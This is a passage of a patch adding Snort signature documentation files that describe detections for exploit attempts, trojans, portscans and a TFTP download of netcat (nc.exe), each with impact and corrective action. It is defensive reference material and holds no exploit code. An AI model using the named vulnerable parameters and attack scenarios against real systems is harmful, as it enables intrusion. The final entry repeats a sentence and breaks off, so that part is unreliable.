+Simple.  TFTP (Trivial File Transfer Protocol) is a simple method for transfering binary files across the Internet.  It requires minimal skill to use and is easy to operate in a restricted environment.
+
+False Positives:
+This rule was created to catch TFTP GET requests for "nc.exe", if this file name is being used during a legitimate TFTP session this rule will generate a false positive.
+
+False Negatives:
+Any attacker who changes "nc.exe" to another filename will bypass this rule.
+
+Corrrective Action:
+The host generating the request should be investigated for evidence of a compromise.  If it is determined that the system has been compromised the only safe way to recover the system is to format the system drives and re-install the system.
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matthew Watchinski <Matt.Watchinski@sourcefire.com>
+
+Additional References
+
+NetCat the Network Swiss Army Knife - http://www.atstake.com/research/tools/nc110.txt
+  
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1972.txt
+++ snort-2.8.5.2/doc/signatures/1972.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1972
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow vulnerability associated with BlackMoon FTP server PASS command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of arbitrary commands with privileges of the process running the BlackMoon FTP server. 
+
+--
+Detailed Information:
+The BlackMoon FTP server offers FTP software for Windows hosts.  A vulnerability exists with the PASS command that can cause a buffer overflow and permit the execution of arbitrary commands with the privileges of the process running the BlackMoon FTP server.  The buffer overflow can be caused by supplying an overly long argument with the PASS command.   
+
+--
+Affected Systems:
+Hosts running BlackMoon FTP Server 1.0 through 1.5. 
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the PASS command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0126
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-1035
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3388.txt
+++ snort-2.8.5.2/doc/signatures/3388.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3388
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/163.txt
+++ snort-2.8.5.2/doc/signatures/163.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+163
+
+--
+Summary:
+This event is generated when Trojan Horse activity is detected from the program WinCrash.
+
+--
+Impact:
+Limited control of the targeted machine.
+
+--
+Detailed Information:
+The Trojan changes system registry settings to add the WinCrash server to programs normally started on boot. Due to the nature of this Trojan it is unlikely that the attacker's client IP address has been spoofed.
+
+The server portion opens TCP ports 5472 for version 1, and 2583 for version 2 to establish a connection between client and server.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named server.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	WinManager
+
+Removal of this entry is required.
+
+Delete the file server.exe
+
+Edit the win.ini file to remove any references to the Trojan file.
+
+Ending the Trojan process is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS36
+
+Dark-e:
+http://www.dark-e.com/archive/trojans/wincrash/index.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000862.txt
+++ snort-2.8.5.2/doc/signatures/100000862.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000862
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "FlushCMS" application running on a webserver. Access to the file "class.rich.php" using a remote file being passed as the "class_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "class_path" parameter in the "class.rich.php" script used by the "FlushCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using FlushCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/122-2.txt
+++ snort-2.8.5.2/doc/signatures/122-2.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-2
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp decoy
+portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1484.txt
+++ snort-2.8.5.2/doc/signatures/1484.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1484
+
+--
+Summary:
+This event is generated when an attempt is made to access the tstisapi.dll component associated with the Pi3Web software. 
+
+--
+Impact:
+Remote access.  Malicious access of the tstisapi.dll component can allow the execution of arbitrary commands on a vulnerable server.
+
+--
+Detailed Information:
+Pi3Web is a free configurable HTTP server available on Linux and Windows for cross platform Internet server development and deployment.  A buffer overflow vulnerability exists in tstisapi.dll that may permit execution of arbitrary commands on the victim server.
+
+--
+Affected Systems:
+Pi3Web 2.0
+
+--
+Attack Scenarios:
+An attacker can craft an overly long request for tstisapi.dll that may cause a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the vendor patch.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0142
+
+Bugtraq
+http://www.securityfocus.com/bid/3866
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1388.txt
+++ snort-2.8.5.2/doc/signatures/1388.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1388
+
+--
+Summary:
+This event is generated when a remote user attempts to send a NOTIFY directive with an overly long Location URL to an internal host's Universal Plug and Play (UPnP) server.
+
+--
+Impact:
+Attempted administrator access.  A successful attack may cause a denial of service or permit the execution of arbitrary code with administrator privileges.
+
+--
+Detailed Information:
+The UPnP is used to find network-based devices.  Specifically, UPnP NOTIFY directives are employed to advertise the existence of UPnP devices on the network.  A vulnerability exists that permits a malformed NOTIFY directive with an overly long Location URL to cause a buffer overflow on the remote host listening on UPnP.  The buffer overflow attack may permit the execution of arbitrary code on the host with administrator privileges.
+
+--
+
+Affected Systems:
+Microsoft Windows 98, 98SE, ME, XP
+
+--
+Attack Scenarios:
+An attacker may obtain craft a malformed NOTIFY directive to execute arbitrary code on the victim host.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+This event will be generated if external hosts are permitted to query for UPnP devices.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block inbound UPnP traffic.
+
+--
+Contributors:
+Original rule writer unknown.
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0876
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1850.txt
+++ snort-2.8.5.2/doc/signatures/1850.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1850
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3465.txt
+++ snort-2.8.5.2/doc/signatures/3465.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3465
+
+--
+Summary:
+This event is generated when an attempt is made to access the cgi script
+show.pl.
+
+--
+Impact:
+Use of script as an open proxy.
+
+--
+Detailed Information:
+RiSearch is a collection of cgi scripts written in Perl to facilitate
+web site search functionality. Some versions of the script show.pl do
+not correctly sanitize user input. This may present an attacker with the
+opportunity to use the script as an open proxy server, possibly in
+attempts to execute web attacks against other systems anonymously.
+
+Specifically, it may be possible for an attacker to supply their own
+input to the "uri" parameter.
+
+--
+Affected Systems:
+	RiSearch 0.99.8 and prior
+	RiSearch Pro 3.2.6
+
+--
+Attack Scenarios:
+An attacker can supply a URI of their choosing as a value for the
+uri parameter
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/159.txt
+++ snort-2.8.5.2/doc/signatures/159.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+159
+
+--
+Summary:
+This event is generated when an attempt is made to list files on a host infected with the NetMetro Trojan Horse.
+
+--
+Impact:
+Limited control of the target host.
+
+--
+Detailed Information:
+Due to the nature of this Trojan it is unlikely that the attacker's client IP address has been spoofed.
+
+The server portion opens TCP port 5031 by default to establish a connection between client and server.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named NMS.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+A reboot of the infected machine is recommended. The Trojan does not start automatically at boot time nor does it change any system registry settings.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS79
+
+Dark-e:
+http://www.dark-e.com/archive/trojans/NetMetro/index.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000838.txt
+++ snort-2.8.5.2/doc/signatures/100000838.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000838
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "PhotoCycle" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "phppage" parameter in the "photocycle.php" script used by the "PhotoCycle" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PhotoCycle
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3232.txt
+++ snort-2.8.5.2/doc/signatures/3232.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3232
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000433.txt
+++ snort-2.8.5.2/doc/signatures/100000433.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000433
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "viewer.php" using a remote file being passed as the "APP[path][core]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][core]" parameter in the "viewer.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/970.txt
+++ snort-2.8.5.2/doc/signatures/970.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1283
+
+--
+Summary:
+This event is generated when an attempt is made to cause a denial of service of WWW Publishing Service and IIS Administration software.
+
+--
+Impact:
+Denial of service.  This attack may cause a vulnerable server to stop.
+
+--
+Detailed Information:
+Outlook Web Access (OWA) is an optional feature of Microsoft Exchange Server that allows a user to access mail through a web interface supported by Internet Information Services (IIS).  A denial of service of the support software WWW Publishing service and IIS Administration can occur when a user enters a long string of '%' characters in the Log On field in OWA and enters these characcters in the username and password field received in the NT challenge dialog.
+
+--
+Affected Systems:
+Microsoft Exchange Server 5.5 and Microsoft Exchange Server 5.5 SP1, SP2, SP3, SP4
+
+--
+Attack Scenarios:
+An attacker can enter a long string of '%' characters in OWA Log On and challenge fields to cause a denial of service against a vulnerable server.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the most current version of Microsoft Exchange Server.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/3223
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2840.txt
+++ snort-2.8.5.2/doc/signatures/2840.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2840
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_snapshot_propagation
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000576.txt
+++ snort-2.8.5.2/doc/signatures/100000576.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000576
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_edit.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "cat_edit.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2289.txt
+++ snort-2.8.5.2/doc/signatures/2289.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2289
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/967.txt
+++ snort-2.8.5.2/doc/signatures/967.txt
@@ -0,0 +1,73 @@
+Rule:
+--
+Sid:  
+967
+
+--
+Summary:  
+dvwssr.dll is a component installed with Windows NT Option Pack 4.0, 
+Personal Web Server for Windows 95 and 98 and Front Page 98 Server 
+Extensions. This component is vulnerable to a buffer overflow which 
+may allow for the execution of arbitrary code that would run in the 
+context of the system account.
+
+--
+Impact:
+Serious. Execution of arbitrary code and Denial of Service (DoS).
+
+--
+Detailed Information:  
+As with an abundance of other exploits related to Microsoft's Internet 
+Information Services and web server based implementations, it is 
+possible for an attacker to run code of choice against the vulnerable 
+web server.  It is also possible to use this exploit to stop the remote 
+server from responding which would result in a DoS.
+
+--
+Attack Scenarios:  
+   
+
+--
+Ease of Attack:  
+This attack would require for both the dvwssr.dll file to reside on the 
+web server and for the correct permissions to be in place in order for 
+the attack to be successful.  Using a script to send continued requests 
+for the file dvwssr.dll would make a denial of service attack fairly 
+easy.
+
+--
+False Positives:  
+Web requests or web based applications which use dvwssr.dll in a context
+which in not malicious in nature.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:  
+Remove dvwssr.dll from the web server and test all necessary 
+functionality.  See additional references for more information.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Chris Arsenault	<carsenault@firstedcu.org> and Josh Gray
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+--
+Additional References:
+
+Security Focus BugTraq ID
+http://www.securityfocus.com/bid/1109
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0260
+
+Microsoft ms00-025
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms00-025.asp
+ 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/639.txt
+++ snort-2.8.5.2/doc/signatures/639.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 639
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing IRIX MIPS network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+ may occur in network packets aimed at overflowing IRIX MIPS network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+ may occur in network packets aimed at overflowing IRIX MIPS network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
